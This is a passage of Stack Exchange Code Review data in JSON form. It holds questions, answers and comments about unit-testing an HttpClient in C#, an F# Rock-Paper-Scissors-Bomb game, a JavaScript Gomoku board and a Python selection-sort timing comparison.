"CommentCount": "3",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-04T08:46:03.777",
"Id": "236625",
"ParentId": "236617",
"Score": "1"
}
},
{
"body": "<pre><code>public interface IWebHandler {}\n\npublic class WebHandler {}\n\npublic class FirstType : IWebHandler {}\n</code></pre>\n\n<p>There is either a naming confusion here, or a misunderstanding of what interfaces represent and how they should be used.</p>\n\n<p>It makes little sense for <code>WebHandler</code> to not implement <code>IWebHandler</code> but to take in an <code>IWebHandler</code>. At the very least, refrain from using \"web handler\" ambiguously in its two distinct roles.</p>\n\n<p>I'd like to dedicate more time on this part of the review but I'm struggling to understand exactly what you wanted to achieve with this naming. And if I use the naming in a different way than you, it's going to be very complicated to understand what I mean.</p>\n\n<hr>\n\n<p>Similarly, <code>SelectAllResponsesAsync</code> and <code>GetAllResponsesAsync</code> are quite hard to keep apart, which is compounded by the counterintuitive interface naming.</p>\n\n<hr>\n\n<blockquote>\n <p>1) Should i instantiate the HttpClient in the \"Main\" function and pass it to every WebHandler as a Singleton?</p>\n</blockquote>\n\n<p>That's your decision. Do you want the same HttpClient to be used by multiple consumers that depend on it, or not?</p>\n\n<p>There is no \"one size fits all\" answer. This is why DI frameworks tend to have 3 injection settings: </p>\n\n<ul>\n<li>Transient (always a new object)</li>\n<li>Singleton (always the same)</li>\n<li>Scoped (singleton within a scope, but new object for every different scope)</li>\n</ul>\n\n<p>Which one is appropriate is contextual.</p>\n\n<blockquote>\n <p>2) Should i use DI for this purpose?</p>\n</blockquote>\n\n<p>For a project this size, including a DI framework is overkill. If this is going to become a much larger project, then DI framework becomes more relevant.</p>\n\n<p>Should you be injecting dependencies? It's always a good idea. But to be fair, when I bang out a small project about the size of your posted code, I don't quite follow good practice as these projects often don't have the lifetime (or importantce) to warrant the additional effort.</p>\n\n<p>The value of clean coding increases as the size of the codebase does. Many will tell you that you should always code cleanly, and it's definitely not bad advice (especially when learning). But in reality, there is a level of <em>tiny</em> project where it's just not that relevant.</p>\n\n<blockquote>\n <p>3) How i could test, with an UnitTest, the SelectAllResponsesAsync method, passing to it a custom string as response, without doing a request to google.com?</p>\n</blockquote>\n\n<p>First make clear what you want to test.</p>\n\n<p>If you want to test <code>SelectAllResponsesAsync()</code>, that seems to entail you specifically wanting to test the behavior when calling a <em>real</em> webpage (in this case, Google is hardcoded). </p>\n\n<p>But you say you don't want to connect to Google, which means you want to mock your http client.</p>\n\n<p>Note that I'll be using NSubstitute and FluentAssertions in the code below, simply because I know it by heart. Other frameworks exist too. Pick your favorite.</p>\n\n<p><strong>1</strong>: Make sure everything you intend to mock is an injectable dependency. In this case, this means that the <code>HttpClient</code> needs to be injected.</p>\n\n<pre><code>public class FirstType : IWebHandler\n{\n HttpClient client;\n\n public FirstType(HttpClient client)\n {\n this.client = client;\n }\n}\n</code></pre>\n\n<p><strong>2</strong>: Make a mocked httpClient. I'll be using NSubstitute here:</p>\n\n<pre><code>var mockedHttpClient = Substitute.For<HttpClient>();\n</code></pre>\n\n<p><strong>3</strong>: Set up your mocked client to return exactly what you want to return. Create your own little HTML example for which you know exactly what the correct output should be. I'm using the simplest example here but you can make it bigger based on everything you want to test.</p>\n\n<pre><code>string myTestHtml = \"<html><body><a href=\\\"http://www.google.com\\\">This is a link</a></body></html>\";\n\nmockedHttpClient.GetAsync(Arg.Any<string>()).Returns(myTestHtml);\n</code></pre>\n\n<p><strong>4</strong>: Set up your <strong>real</strong> <code>FirstType</code> to use your <strong>mocked</strong> <code>HttpClient</code></p>\n\n<pre><code>var firstType = new FirstType(mockedHttpClient);\n</code></pre>\n\n<p><strong>5</strong>: Execute the code, which will unknowingly depend on the mock:</p>\n\n<pre><code>var result = await firstType.SelectAllResponsesAsync();\n</code></pre>\n\n<p><strong>6</strong>: Confirm that the output is what you expect it to be. Note that I'm using FluentAssertions.</p>\n\n<pre><code>result.Should().HaveCount(1);\nresult.Should().Contain(\"This is a link\");\n</code></pre>\n\n<p>And that's the steps you take for a basic unit test. It all begins from having injected dependencies so you can mock them without the tested object being aware that it's working with mocks.</p>\n\n<p>Whether you create mocks yourself (using interfaces) or using a framework is up to you.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-05T22:55:21.837",
"Id": "464084",
"Score": "0",
"body": "Don't seem to work, if i write \n\nmockedHttpClient.GetAsync(Arg.Any<string>()).Returns(myTestHtml);\ni get a warning that \ngetasync returns Task<HttpResponseMessage> \n\nand if try\n\nmockedHttpClient.GetAsync(Arg.Any<Uri>()).Returns(new Task<HttpResponseMessage>(() => new HttpResponseMessage(HttpStatusCode.OK)));\n\ni get a NSubstitue.Exceptions.CouldNotSetReturnDueToNoLastcallException. About the DI i followed this tutorial https://dotnettutorials.net/lesson/dependency-injection-design-pattern-csharp/"
}
],
"meta_data": {
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-04T11:44:07.527",
"Id": "236637",
"ParentId": "236617",
"Score": "2"
}
}
] |
{
"AcceptedAnswerId": "236625",
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-04T02:10:14.370",
"Id": "236617",
"Score": "-2",
"Tags": [
"c#",
"unit-testing",
"http",
"dependency-injection"
],
"Title": "Episode 1: Mastering code and Testing it"
}
|
236617
|
<p>During a discussion in a development chat, a user suggested to another (in the context of C# originally),</p>
<blockquote>
<p><strong>UserA:</strong> Challenge: Create an implementation of RPS, and then show how it can be extended to include an unlockable option Bomb (blows up paper and rock, but scissors cuts the fuse - basically Paper+; AI that has Bomb uses it instead of Paper) with a minimum of fuss.</p>
<p><strong>UserA:</strong> Bonus: Make it so the game can be thus modified changing only data (constants, serialized fields, whatever).</p>
<p><strong>UserB:</strong> how would one unlock the Bomb?</p>
<p><strong>UserA:</strong> Basically "elsewhere" however you want. Could be an external property, could be an Interface or Serialized Field or parameter or whatever.</p>
</blockquote>
<p>and since I'm interested in learning F# I decided to pick up the exercise. Along with that, I also tried to clean up the code for I/O handling, such that I could potentially swap a "player vs computer" game to "player vs player" or even "computer vs computer". I have published the script in <a href="https://github.com/kroltan/RockPaperScissorsBoom/blob/master/RockPaperScissorsBoom/Program.fs" rel="nofollow noreferrer">GitHub</a>, but please find it pasted below too for convenience:</p>
<pre><code>open System
type MatchResult =
| Won
| Lost
| Draw
type Element =
| Rock
| Paper
| Scissors
| Bomb
type Player = {
Pick: Element[] -> Element;
AnnounceResult: MatchResult -> unit;
}
let victoriesOf element =
match element with
| Rock -> [Scissors]
| Paper -> [Rock]
| Scissors -> [Paper; Bomb]
| Bomb -> [Rock; Paper]
let (!) (result: MatchResult) =
match result with
| Won -> Lost
| Lost -> Won
| x -> x
let evaluate player rival =
let winsOver a b =
victoriesOf a
|> List.contains b
match (winsOver player rival, winsOver rival player) with
| (true, false) -> Won
| (false, true) -> Lost
| _ -> Draw
let parse options move =
let cleanup (input: string) = input.ToLowerInvariant().Trim()
let compare =
string
>> cleanup
>> (=) move
Seq.tryFind compare options
let runRound (a: Player) (b: Player) options =
let aChoice = a.Pick options
let bChoice = b.Pick options
let result = evaluate aChoice bChoice
a.AnnounceResult result
b.AnnounceResult !result
let player = {
Pick = fun options ->
printfn "Choose one of %s:" (String.Join(", ", options))
match parse options (Console.ReadLine()) with
| Some(x) -> x
| None -> failwith "Unknown choice!";
AnnounceResult = fun result ->
match result with
| Won -> printfn "You won!"
| Lost -> printfn "You lost!"
| Draw -> printfn "It's a draw!"
}
let computer =
let rng = Random()
{
Pick = fun options ->
let choice = Array.item (rng.Next(options.Length)) options
printfn "Computer chose %A" choice
choice;
AnnounceResult = fun _ -> ();
}
[<EntryPoint>]
let main argv =
let validMoves = [|Rock; Paper; Scissors; Bomb|]
while true do
runRound player computer validMoves
0
</code></pre>
<p>Since I'm new to ML-like languages, I'm looking for feedback on how I could better use the F# libraries, better model my state and data, and even how to make it more point-free. And if there are more idiomatic ways of writing any piece of code, please tell!</p>
|
[] |
[
{
"body": "<p>F# is pretty pragmatic and multi-paradigm - you don't need to stick super hard to ML style code.</p>\n<pre class=\"lang-fs prettyprint-override\"><code>type Player = {\n Pick: Element[] -> Element;\n AnnounceResult: MatchResult -> unit;\n}\n</code></pre>\n<p>Record fields should be lowercase (and you don't need the semicolons) - but in this case, <a href=\"https://docs.microsoft.com/en-us/dotnet/fsharp/style-guide/component-design-guidelines#use-interfaces-to-group-related-operations\" rel=\"nofollow noreferrer\">guidelines</a> suggest using interfaces over a record of functions. Interfaces have their own gotchas in F#, but on the whole are mostly better for this purpose, and also interop.</p>\n<pre class=\"lang-fs prettyprint-override\"><code>type Player =\n abstract Pick : Element[] -> Element\n abstract AnnounceResult : MatchResult -> unit\n</code></pre>\n<p>which makes your <code>player</code> (using object expressions and renaming <code>options</code> -> <code>moveOptions</code>):</p>\n<pre class=\"lang-fs prettyprint-override\"><code>let player =\n { new Player with\n member _.Pick moveOptions = \n printfn "Choose one of %s:" (String.Join(", ", moveOptions))\n match parse moveOptions (Console.ReadLine()) with\n | Some x -> x\n | None -> failwith "Unknown choice!"\n \n member _.AnnounceResult result =\n match result with\n | Won -> printfn "You won!"\n | Lost -> printfn "You lost!"\n | Draw -> printfn "It's a draw!"\n }\n</code></pre>\n<hr />\n<pre class=\"lang-fs prettyprint-override\"><code>let (!) (result: MatchResult) =\n match result with\n | Won -> Lost\n | Lost -> Won\n | x -> x\n</code></pre>\n<p>This would shadow the ref cell dereference operator - even though you don't use that here you may want to hide this somewhere closer to where you actually use it; if your module gets <code>open</code>ed it might break ref cells in consuming code. You could also stick it on the DU as a member:</p>\n<pre class=\"lang-fs prettyprint-override\"><code>type MatchResult =\n | Won\n | Lost\n | Draw\n member x.Not =\n match x with\n | Won -> Lost\n | Lost -> Won\n | Draw -> Draw\n</code></pre>\n<p>and then:</p>\n<pre class=\"lang-fs prettyprint-override\"><code>let runRound (a: Player) (b: Player) moveOptions =\n ...\n a.AnnounceResult result\n b.AnnounceResult result.Not\n</code></pre>\n<hr />\n<p>Changing some names around here helped me understand this bit better:</p>\n<pre class=\"lang-fs prettyprint-override\"><code>let parse moveOptions moveInput =\n let cleanup (input: string) = input.ToLowerInvariant().Trim()\n let isInput =\n string\n >> cleanup\n >> (=) moveInput\n Seq.tryFind isInput moveOptions\n</code></pre>\n<p>Which revealed you're calling <code>string</code> on your <code>Element[]</code> move options list on every player pick. You could just do this once (also, unless we really need <code>Array</code>s for interop or perf, <code>List</code>s are simpler to write and work with):</p>\n<pre class=\"lang-fs prettyprint-override\"><code>let cleanup (input: string) = input.ToLowerInvariant().Trim()\n\nlet main argv =\n let validMoveOptions =\n [ Rock; Paper; Scissors; Bomb ]\n |> List.map (string >> cleanup)\n ...\n</code></pre>\n<p>Or convert the input instead of the list of <code>Element</code>s and skip the compare stuff altogether:</p>\n<pre class=\"lang-fs prettyprint-override\"><code>let parseInput =\n let asElement =\n function\n | "rock" -> Rock\n | "paper" -> Paper\n | "scissors" -> Scissors\n | "bomb" -> Bomb\n | s -> failwithf "Unknown move! %s" s\n \n cleanup >> asElement\n</code></pre>\n<p><code>player</code> becomes:</p>\n<pre class=\"lang-fs prettyprint-override\"><code>let player =\n { new Player with\n member _.Pick moveOptions =\n printfn "Choose one of %s:" (String.Join(", ", moveOptions))\n Console.ReadLine() |> parseInput\n member _.AnnounceResult result =\n ... same ...\n }\n</code></pre>\n<hr />\n<p>Both <code>victoriesOf</code> and <code>evaluate</code> are hard for me to understand, but I think you could rewrite it like this:</p>\n<pre class=\"lang-fs prettyprint-override\"><code>let (|>|) a b = // "beats" operator\n match a, b with\n | Rock, Scissors\n | Paper, Rock\n | Scissors, Paper\n | Scissors, Bomb\n | Bomb, Paper\n | Bomb, Rock -> true\n | _ -> false\n \nlet rockBeatsPaper = Rock |>| Paper\n</code></pre>\n<p>and <code>evaluate</code> becomes:</p>\n<pre class=\"lang-fs prettyprint-override\"><code>let evaluate player rival =\n match player |>| rival, rival |>| player with\n | true, false -> Won\n | false, true -> Lost\n | _ -> Draw\n</code></pre>\n<p>or as a member:</p>\n<pre class=\"lang-fs prettyprint-override\"><code>type Element =\n | Rock\n | Paper\n | Scissors\n | Bomb\n member x.Beats y =\n match x, y with\n ...\n \nlet evaluate player rival =\n match player.Beats rival, rival.Beats player with\n ...\n</code></pre>\n<hr />\n<p>If you want to go for that bonus goal, you could drop the <code>Element</code> DU altogether and just work with provided strings via say, cli:</p>\n<pre><code>> dotnet run -- -el rock -beats scissors -el paper -beats rock -el scissors -beats paper -beats bomb -el bomb -beats paper -beats rock\n</code></pre>\n<p>Most of the logic doesn't change, you just need to parse the input arguments and <code>parseInput</code> becomes just <code>cleanup</code>.</p>\n<hr />\n<p>To summarize: convert your input to the model type rather than vice versa. The model types look good. The names chosen got pretty confusing, using 3 different names (move, Element, option) for the same thing made this code harder to understand at first read.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-23T14:47:39.150",
"Id": "522020",
"Score": "1",
"body": "Thank you for the thorough review! I agree on converting input to data, I don't know what I was thinking at the time :) And I really like the \"beats operator\", much cleaner solution. That said, could you clarify how does the `(!) (result: MatchResult)` operator conflict with reference cells? I was under the impression that F# accepted multiple definitions if their parameters are different (in this case `MatchResult` vs `Ref<'a>`)."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-23T22:19:50.727",
"Id": "522056",
"Score": "1",
"body": "Yes that's normally doable, but you'd need to write it as a [static class member](https://docs.microsoft.com/en-us/dotnet/fsharp/language-reference/operator-overloading).\n\n`!` is unidiomatic in F# for negation, but also looks like an operator you simply can't overload.\n\nYou could maybe work around it with SRTP and op_Dereference, but I think it's more trouble than it's worth at that point. You could always use unary `-` (negative) instead: `static member (~-) (x: MatchResult)`"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-24T00:09:42.450",
"Id": "522059",
"Score": "0",
"body": "Thanks for the clarification, I was not aware of that. Unary negative seems like a neat substitute if I were to keep using the operator idea."
}
],
"meta_data": {
"CommentCount": "3",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-23T09:36:50.510",
"Id": "264314",
"ParentId": "236618",
"Score": "2"
}
}
] |
{
"AcceptedAnswerId": "264314",
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-04T02:26:01.410",
"Id": "236618",
"Score": "2",
"Tags": [
"functional-programming",
"f#"
],
"Title": "\"Rock, Paper, Scissors +\" in F#"
}
|
236618
|
<p>EDIT: The result looks like this: <a href="http://gomokuu.glitch.me/" rel="nofollow noreferrer">http://gomokuu.glitch.me/</a></p>
<p>This is my code for gomoku. I made it with JavaScript and HTML. I think the <code>checkWinner</code> function can be improved or made shorter. Also, should the functions be re-organized? </p>
<p>Here is the code:</p>
<p>Javascript:</p>
<pre><code>var turn = 0;
var width = 15;
var height = 15;
var gameOver = false;
var board = Array(width * height);
function announceWinner(winner) {
console.log("a");
if (winner == 0) {
window.alert("X wins");
}
if (winner == 1) {
window.alert("O wins");
}
if (winner == 2) {
window.alert("Board filled");
}
}
function checkWinner() {
var filled = true;
for (var i = 0; i < board.length; i++) {
if (board[i] == undefined) filled = false;
if (board[i] !== undefined) {
if (
(board[i] == board[i + 1] &&
board[i + 1] == board[i + 2] &&
board[i + 2] == board[i + 3] &&
board[i + 3] == board[i + 4]) ||
(board[i] == board[i + width] &&
board[i + width] == board[i + 2 * width] &&
board[i + 2 * width] == board[i + 3 * width] &&
board[i + 3 * width] == board[i + 4 * width]) ||
(board[i] == board[i + 1 + width] &&
board[i + 1 + width] == board[i + 2 + 2 * width] &&
board[i + 2 + 2 * width] == board[i + 3 + 3 * width] &&
board[i + 3 + 3 * width] == board[i + 4 + 4 * width]) ||
(board[i] == board[i - 1 + width] &&
board[i - 1 + width] == board[i - 2 + 2 * width] &&
board[i - 2 + 2 * width] == board[i - 3 + 3 * width] &&
board[i - 3 + 3 * width] == board[i - 4 + 4 * width])
) {
gameOver = true;
announceWinner(board[i]);
}
}
}
if (filled) {
announceWinner(2);
}
}
function tileClick(row, tile) {
var clicked = document.getElementById("board").children[row].children[tile];
if (clicked.innerHTML || gameOver) return;
board[tile + row * width] = turn;
if (turn) {
clicked.innerHTML = "o";
clicked.style.color = "red";
turn = 0;
} else {
clicked.innerHTML = "x";
clicked.style.color = "blue";
turn = 1;
}
checkWinner();
}
//generate board and listen to click event
var domBoard = document.createElement("table");
domBoard.id = "board";
for (let i = 0; i < height; i++) {
var row = document.createElement("tr");
for (let j = 0; j < width; j++) {
var tile = document.createElement("td");
tile.onclick = function() {
tileClick(i, j);
};
row.appendChild(tile);
}
domBoard.appendChild(row);
}
document.body.appendChild(domBoard);
</code></pre>
<p>HTML:</p>
<pre><code><!DOCTYPE html>
<html>
<head>
<title>gomoku</title>
<link rel="stylesheet" href="style.css" />
</head>
<body>
<script src="script.js"></script>
</body>
</html>
</code></pre>
|
[] |
[
{
"body": "<p>In your <code>announceWinner()</code> function, you can shorten the multiple if statements to a one-liner with a <a href=\"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Conditional_Operator\" rel=\"nofollow noreferrer\">ternary operator</a> like this:</p>\n\n<pre><code>function announceWinner(winner) {\n console.log(\"a\");\n window.alert(winner == 0 ? \"X wins\" : winner == 1 ? \"O wins\" : winner == 2 ? \"Board filled\");\n}\n</code></pre>\n\n<p>Or if you are sure that <code>winner</code> will always be <code>0</code>, <code>1</code> or <code>2</code>, then you can omit the last condition like this:</p>\n\n<pre><code>function announceWinner(winner) {\n console.log(\"a\");\n window.alert(winner == 0 ? \"X wins\" : winner == 1 ? \"O wins\" : \"Board filled\");\n}\n</code></pre>\n\n<hr>\n\n<p>In your <code>checkWinner()</code> function, you can push the multiple <code>board</code> array indexes to individual arrays and then use the <a href=\"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/every\" rel=\"nofollow noreferrer\">every()</a> method to simplify the multiple conditions in your if statement like this:</p>\n\n<p><div class=\"snippet\" data-lang=\"js\" data-hide=\"false\" data-console=\"true\" data-babel=\"false\">\r\n<div class=\"snippet-code\">\r\n<pre class=\"snippet-code-js lang-js prettyprint-override\"><code> function checkWinner() {\n var filled = true;\n for (var i = 0; i < board.length; i++) {\n if (board[i] == undefined) filled = false;\n \n if (board[i] !== undefined) {\n let arr1 = [board[i+1], board[i+2], board[i+3], board[i+4]];\n let arr2 = [board[i+width], board[i+2*width], board[i+3*width], board[i+4*width]];\n let arr3 = [board[i+1+width], board[i+2+2*width], board[i+3+3*width], board[i+4+4*width]];\n let arr4 = [board[i-1+width], board[i-2+2*width], board[i-3+3*width], board[i-4+4*width]];\n \n if (\n (arr1.every(e=> e == board[i])) ||\n (arr2.every(e=> e == board[i])) ||\n (arr3.every(e=> e == board[i])) ||\n (arr4.every(e=> e == board[i]))\n ) {\n gameOver = true;\n announceWinner(board[i]);\n }\n }\n }\n if (filled) {\n announceWinner(2);\n }\n }</code></pre>\r\n</div>\r\n</div>\r\n</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-05T07:48:58.143",
"Id": "463974",
"Score": "0",
"body": "The player is called O, not 0."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-05T08:13:12.450",
"Id": "463982",
"Score": "0",
"body": "Your variant of `checkWinner` creates lots of unnecessary objects. I'm sure there is a more elegant way to express this code."
}
],
"meta_data": {
"CommentCount": "2",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-04T14:07:47.250",
"Id": "236652",
"ParentId": "236619",
"Score": "1"
}
},
{
"body": "<p>I don't have time to give you a full review, so I'll just add some comments about <code>checkWinner</code>:</p>\n\n<ul>\n<li>It will read better if you remove the mutation of global state from it. Make it a pure function that returns <code>true</code> or <code>false</code>. </li>\n<li>You might consider using a 2D array as your data structure. This isn't necessary, but it maps more naturally to the visual board, and will likely clean up some of your logic.</li>\n</ul>\n\n<p>As for the duplication, you can remove a lot of it by introducing a helper function to capture the abstract logic that's being repeated in every block. This will also clarify the high-level logic of checking for a winner:</p>\n\n<pre><code>function checkWinner() {\n for (var i = 0; i < board.length; i++) {\n var rightWin = winAt(i, 1)\n var downWin = winAt(i, width)\n if (rightWin || downWin) return true\n }\n return false\n}\n\nfunction winAt(i, step) {\n if ( board[i] === undefined ) return false\n for ( var j = 1; j < 5; j++) {\n var nextIndex = i + (j * step)\n if ( board[i] !== board[nextIndex] ) return false\n }\n return true\n}\n</code></pre>\n\n<h3>EDIT: Answer to question</h3>\n\n<p>Green Ball, regarding the problem you mentioned with using a 2D array, there are ways around that: you can pad with extra rows of undefined, or you can abstract a <code>cell(i, j)</code> which hides the ugly bounds checking, and keeps it in one place. Indeed, that last point is the key one, not whether you use a 1D or 2D array.</p>\n\n<p>In your current implementation, the arithmetic logic around rows is forced out on the client: any code that wants to get an <code>i, j</code> pair must do the calculation itself. Currently happens in <code>checkWinner</code> and <code>tileClick</code>: <code>board[tile + row * width]</code>. It also happens implicitly in the double loop that constructs the html.</p>\n\n<p>Regardless of the underlying structure that holds the <code>board</code>, you want your client code to be able to work with the concepts of \"rows\" and \"columns\" as first class citizens, since that's how we humans are thinking about this. It will make the code more natural. </p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-05T05:44:05.133",
"Id": "463961",
"Score": "1",
"body": "Thank you so much for the suggestions :)\nI'm not sure how a 2D array will work better. Here is a problem with 2D array. When you attemp to check if a tile in the current row is the same as the one in the next row (for vertical win) you'll do `board[i][j] == board[i+1][j]`. But if `board[i + 1]` is undefined (in case the current row you're checking is the last row) reading `[j]` will throw an error."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-05T07:45:34.290",
"Id": "463972",
"Score": "1",
"body": "Off by one: 3 should be 4. Or even better: write `< 5` instead of `<= 4`, since the game is called 5 in a row."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-05T07:58:07.720",
"Id": "463976",
"Score": "1",
"body": "Typo: it should be `!== board[next]` instead of `!== next`."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-05T13:07:53.650",
"Id": "464008",
"Score": "1",
"body": "@RolandIllig Thanks, fixed. GreenBall, I replied to your question in an edit."
}
],
"meta_data": {
"CommentCount": "4",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-05T03:25:46.577",
"Id": "236683",
"ParentId": "236619",
"Score": "2"
}
},
{
"body": "<p>There's a bug in an edge case. If the very last move, the one that fills the board, also creates a winning row, there will be two announcements. To fix this, you have to <code>return</code> after the winner announcement.</p>\n\n<p>Except from this, the code is really simple to read and understand. Checking for a winner is quite slow, and if you should ever need faster code, this is where you can gain performance. But until then I suggest to leave the code as it is. It is short, to the point and elegant.</p>\n\n<p>If you want to make the code less redundant, you can define a helper function inside <code>checkWinner</code>:</p>\n\n<pre><code>function checkWinner() {\n function fiveSame(start, step) {\n function same(i) {\n return board[start + i * step] === board[start];\n }\n return same(1) && same(2) && same(3) && same(4);\n }\n\n for (const i in board) {\n if (fiveSame(i, 1) || fiveSame(i, width - 1) || fiveSame(i, width) || fiveSame(i, width + 1)) {\n ...\n }\n ...\n}\n</code></pre>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-05T08:07:54.400",
"Id": "236690",
"ParentId": "236619",
"Score": "1"
}
}
] |
{
"AcceptedAnswerId": null,
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-04T03:41:25.403",
"Id": "236619",
"Score": "4",
"Tags": [
"javascript",
"game"
],
"Title": "Gomoku board in JavaScript"
}
|
236619
|
<p>I was working on an assignment in my Python class to sort 10 numbers but I wanted to be able to sort any set of numbers be it large or small. The assignment didn't really cover any sorting algorithms other than bubble sort so I started working and decided to just do something simple find the smallest number and remove it then put it in a temp list and then assign that list to the original to make it sorted. I was able to compress this down into the first sorting. </p>
<p>But I wanted to see if I could make it faster by also looking for the max and popping them both out in separate lists. But I was told python runs on a single thread and there were far more things to run than the first. </p>
<p>So why is the second sort slightly faster despite having more instructions than the first?</p>
<p>I ran this on python 3.8</p>
<p><a href="https://i.stack.imgur.com/zh5vZ.jpg" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/zh5vZ.jpg" alt="enter image description here"></a></p>
<pre><code>import time
import random
rand_list = []
for i in range(0,10000):
n = random.randint(1,100000)
rand_list.append(n)
print('Random List Creation Complete')
list_to_sort1 = rand_list[:]
list_to_sort2 = rand_list[:]
''' Sort Smallest to Largest'''
start_time = time.time()
templist=[]
while 0 < len(list_to_sort1):
templist.append(list_to_sort1.pop(list_to_sort1.index(min(list_to_sort1))))
list_to_sort1 = templist
print('\nSorting Complete: My sort took', time.time() - start_time, "to run")
''' Sort Smallest to Largest'''
start_time = time.time()
min_half = []
max_half = []
max_pos = 0
min_pos = 0
while 0 < len(list_to_sort2):
max_pos = list_to_sort2.index(max(list_to_sort2))
min_pos = list_to_sort2.index(min(list_to_sort2))
if len(list_to_sort2) != 1:
if max_pos > min_pos:
max_half.append(list_to_sort2.pop(max_pos))
min_half.append(list_to_sort2.pop(min_pos))
else:
min_half.append(list_to_sort2.pop(min_pos))
max_half.append(list_to_sort2.pop(max_pos))
else:
min_half.append(list_to_sort2.pop(0))
max_half.reverse()
list_to_sort2 = min_half + max_half
print('\nSorting Complete: My sort 2 took', time.time() - start_time, "to run")
time.sleep(20)
</code></pre>
|
[
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-04T08:03:24.090",
"Id": "463802",
"Score": "0",
"body": "If list_to_sort2 has an odd length, the code will throw an IndexError, \"pop from empty list\". This is because elements are popped from the list in pairs (min and max). When there is only one element remaining, the second pop will be from an empty list."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-04T08:18:24.907",
"Id": "463804",
"Score": "0",
"body": "@RootTwo there is a if / else statement to account for that already"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-04T08:23:16.497",
"Id": "463806",
"Score": "0",
"body": "Welcome to CodeReview@SE, where the idea is to improve code and coders by peer review. You re-invented \"double-ended selection sort\" and present code that leaves room for improvement - fits perfectly. It is your explicit question (`why is the second sort slightly faster despite having more processes?`) that does not (quite) fit in here, as well as begging clarification: what `processes` are you referring to?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-04T08:34:25.020",
"Id": "463816",
"Score": "0",
"body": "@greybeard yes I just edited the question I meant to say why is it faster despite having more instructions."
}
] |
[
{
"body": "<blockquote>\n <p>So why is the second sort slightly faster [...]</p>\n</blockquote>\n\n<p>On my machine, the first algorithm is \"faster\" (1.588s vs. 1.62s).\nThe number of samples you have taken (1) is too low to draw conclusions.\nFor significant statistics, you should run at least 20 times and then compare the average execution time.</p>\n\n<blockquote>\n <p>[...] slightly faster [...]</p>\n</blockquote>\n\n<p>The difference between your two runs is 4 ms.\nThe precision of the default clock <a href=\"https://stackoverflow.com/questions/1938048/high-precision-clock-in-python\">on Windows is ~16 ms.</a>, so 4 ms is even within measuring tolerance.</p>\n\n<blockquote>\n <p>[...] having more processes</p>\n</blockquote>\n\n<p>You still only have 1 process. It's not that you find the minimum and maximum in parallel. It's done one after the another.</p>\n\n<blockquote>\n <p>other than bubble sort</p>\n</blockquote>\n\n<p>Bubble sort is typically an in-place algorithm, which means that it operates on one list only. Your implementation works on two lists, <code>templist</code> and <code>list_to_sort1</code>. I would not call this a bubble sort implementation.</p>\n\n<p>BTW: \nPython's <code>min()</code> and <code>index()</code> functions seem to be pretty optimized.\nA real bubble sort is slower by a factor of ~10 on my machine:</p>\n\n<pre><code>list_to_sort3 = rand_list[:]\nstart_time = time.time()\nfor i in range(len(list_to_sort3)):\n for j in range(i):\n if list_to_sort3[j] > list_to_sort3[i]:\n list_to_sort3[j], list_to_sort3[i] = list_to_sort3[i], list_to_sort3[j]\nprint('\\nSorting Complete: Bubble sort took', time.time() - start_time, \"to run\")\n</code></pre>\n\n<blockquote>\n <p>(comments) I actually meant instructions not processes in reference to the second sort there is a lot more going on yet it takes about the same time. </p>\n</blockquote>\n\n<p>In version 1 you have:</p>\n\n<pre><code>while 0 < len(list_to_sort1):\n templist.append(list_to_sort1.pop(list_to_sort1.index(min(list_to_sort1))))\n</code></pre>\n\n<p>This loop runs 10000 times, because it <code>pop()</code>s one item per loop. Thus it also calls <code>min()</code>, <code>index()</code> and <code>append()</code> 10000 times.</p>\n\n<p>In version 2 you have:</p>\n\n<pre><code>while 0 < len(list_to_sort2):\n max_pos = list_to_sort2.index(max(list_to_sort2))\n min_pos = list_to_sort2.index(min(list_to_sort2))\n\n if len(list_to_sort2) != 1:\n if max_pos > min_pos:\n max_half.append(list_to_sort2.pop(max_pos))\n min_half.append(list_to_sort2.pop(min_pos))\n else:\n min_half.append(list_to_sort2.pop(min_pos))\n max_half.append(list_to_sort2.pop(max_pos))\n else:\n min_half.append(list_to_sort2.pop(0))\n</code></pre>\n\n<p>This loop only runs 5000 times, because you <code>pop()</code> twice per loop (either in <code>if</code> or in <code>else</code>). Thus it calls <code>min()</code>, <code>max()</code>, <code>index()</code> (twice), <code>append()</code> (twice) also 5000 times.</p>\n\n<p>As you can see, the amount of method calls is the same, although it's more lines of written code.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-04T07:58:39.463",
"Id": "463800",
"Score": "1",
